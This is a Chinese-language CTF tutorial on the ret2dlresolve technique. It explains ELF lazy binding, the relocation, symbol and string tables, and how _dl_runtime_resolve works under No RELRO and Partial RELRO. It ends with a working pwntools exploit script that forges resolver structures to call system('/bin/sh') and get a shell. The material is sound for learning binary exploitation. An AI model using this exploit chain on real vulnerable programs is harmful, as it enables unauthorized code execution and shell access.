ELF在执行时,许多函数的地址是lazy binding的,即在第一次调用时才会解析其地址并填充至.got.plt
,这个过程是在.plt
里面完成的
文章中用到的程序是用这个仓库里面的源码进行编译的
然后有些地方参考了ctf-wiki,当时看完wiki不是很理解,最后一咬牙把这个方法看完了,希望我的理解过程能帮助更多的人,欢迎评论。
解析函数地址
解析1
上面两张图解释了函数地址在函数第一次调用的时候是如何解析的,但是还不足以理解ret2dlsolve
因为我们需要了解ld.so里面执行的一些东西
重定位表
重定位表对应.rel.plt段,也是readelf -r会显示的内容
得到偏移,进入dlsolve之后程序根据偏移找到对应的重定位表项
,从途中可以看出条目由函数的got
和r_info
构成
符号表
符号表对应.dynsym段,也是readelf -x会显示的内容
符号表中的条目如图所示,对于write的条目,我们可以看到有6个,展开之后是这样:
0x4C
就是字符串对于字符串表的偏移
动态字符串表
动态字符串表对应.dynstr段,上图已经给出
elf head 相关知识
在了解ret2dlsolve之前,我们需要先了解一些elf头的知识☝️
readelf用于帮助我们解析头部信息
# 常用的指令&含义
readelf -r # Display the relocations
readelf -d # Display the dynamic section
readelf -s # Display the symbol table
符号表(sym table)的定义:
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
从x86入手
上面的指令对应ida中的内容:
call read@plt
看一下重定位信息:
$ readelf -r bof32
Relocation section '.rel.dyn' at offset 0x288 contains 1 entries:
Offset Info Type Sym.Value Sym. Name
080496fc 00000206 R_386_GLOB_DAT 00000000 __gmon_start__
Relocation section '.rel.plt' at offset 0x290 contains 4 entries:
Offset Info Type Sym.Value Sym. Name
0804970c 00000107 R_386_JUMP_SLOT 00000000 read 08049710 00000207 R_386_JUMP_SLOT 00000000 __gmon_start__
08049714 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main
08049718 00000407 R_386_JUMP_SLOT 00000000 write
结合上面的Elf32_Rel
的结构体定义和下面的地址,可以看出Offset就是read函数在.got.plt
中的地址
r_info
则保存的是其类型和符号序号,具体保存的是什么信息能够结合宏定义推出,这里不赘述。
0x80482e0: push DWORD PTR ds:0x8049704
0x80482e6: jmp DWORD PTR ds:0x8049708
...
gdb-peda$ x/3i read:
0x80482f0 <read@plt>: jmp DWORD PTR ds:0x804970c (read@got.plt)
0x80482f6 <read@plt+6>: push 0x0
0x80482fb <read@plt+11>: jmp 0x80482e0
...
0x804970c <read@got.plt>: 0x080482f6
在第一次调用时,jmp read@got.plt
会跳回read@plt
,这是我们已经知道的。接下来,会将参数push到栈上并跳至.got.plt+0x8
,这相当于调用以下函数:
_dl_runtime_resolve(link_map, rel_offset);
我们知道参数是从右至左压栈的,所以第一个压栈的0
就是rel_offset
,第二个压栈的常量指针就是link_map
该函数的工作原理:
-
根据rel_offset
,找到重定位表中的重定位条目
-
根据rel_entry
中的动态符号表条目编号,条目编号就是0x107中的1
,我们就找符号表中第一条就行,得到对应的符号信息
-
再根据符号信息中的偏移
找到符号名称【也叫动态字符串】(比如说'read'
)
-
由此名称,搜索动态库
-
找到地址后,填充至.got.plt
对应位置
-
调整栈,调用这一解析得到的函数
重定位表项、动态符号表、动态字符串表都是从目标文件中的动态节 .dynamic 索引得到的
攻击思路
linker
使用_dl_runtime_resolve(link_map_obj, reloc_offset)
来进行重定位
我们要控制相应的参数
及其对应地址的内容
思路1 -- 直接控制重定位表项的相关内容
dl_solve根据符号的名字进行解析,直接修改动态字符串表.dynstr
但是,动态字符串表、动态符号表、重定位表项
都是只读的。
所以可以伪造合适的重定位偏移
这个貌似是**Parital RELRO**
的思路
思路2 -- 间接控制重定位表项的相关内容
既然动态链接器会从 .dynamic 节中索引到各个目标节,那如果我们可以修改动态节中的内容,那自然就很容易控制待解析符号对应的字符串,从而达到执行目标函数的目的。
这个思路貌似是**NO RELRO**
的攻击思路
NO RELRO
没有保护的时候.dynamic是可写的
modify .dynstr pointer in .dynamic section to a specific location
我们构造一段假的动态字符串表,然后把指针指过去就行了
我们控制下的程序流:
push offset;
jmp2plt0;
解析; // 这里解析的话就会使用我们更改的动态字符串表
Parital RELRO
我们控制offset,解析之后指向我们构造的重定位项
重定位项由got和r_info组成
-
将栈迁移到 bss 段
-
构造offset 使解析offset之后得到的重定位表项落在ropchain中(这里的offset对应plt里函数的offset)
- 原来的时候 [.rel.plt + offset] = got
-
构造重定位表项 使解析后的 符号表项
落在ropchain中
-
构造符号表项 使解析后的 动态字符串
落在ropchain中
-
把动态字符串改成"system",传入参数"/bin/sh"就能getshell了
使用工具进行ret2dlsolve
一般就是用pwntools构造,roputils不支持python3,希望有人接盘吧
然后我们需要去理解工具在构造的过程中做了什么
from mmap import mmap
from helper import *
import helper
import re
abbre(globals(), io, loader) # 此处定义了常用的缩写
# helper就是我自己对pwntools的封装,大家不必在意
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
# pwntools will help us choose a proper addr
# https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
print(rop.dump())
ru(b"Welcome to XDCTF2015~!\n")
# 0x0000: 0x80490a4 read(0, 0x804be00) # size=0x8049030
# 0x0004: 0x8049352 <adjust @0x10> pop edi; pop ebp; ret # 吃掉 arg0 和 arg1
# 0x0008: 0x0 arg0
# 0x000c: 0x804be00 arg1, `addr of payload_2`
# 0x0010: 0x8049030 [plt_init] system(0x804be20)
# 0x0014: 0x3a98 [dlresolve index] -> 重定位表项: 0x804be18 <- <0x0804be00, 0x3be07>
# 符号表项 0x804be08 (0x8048228 + 0x3be0)
# 动态字符串 0x3b38 + 0x80482c8 = 0x804be00
# 0x0018: b'gaaa' <return address>
# 0x001c: 0x804be20 arg0 # /bin/sh for system
rop = ROP(elf)
rop.raw(dlresolve.payload)
print("======================")
print(rop.dump()) # 这里你可以看到后面的payload是什么样子
payload = flat({112:raw_rop})
s(payload)
s(dlresolve.payload)
shell()
可以看出和上面我们分析出来的思路大体上是一致的
这个洞对我来说还是比较复杂,文章模糊不清的地方欢迎指正,如有不足,多多包涵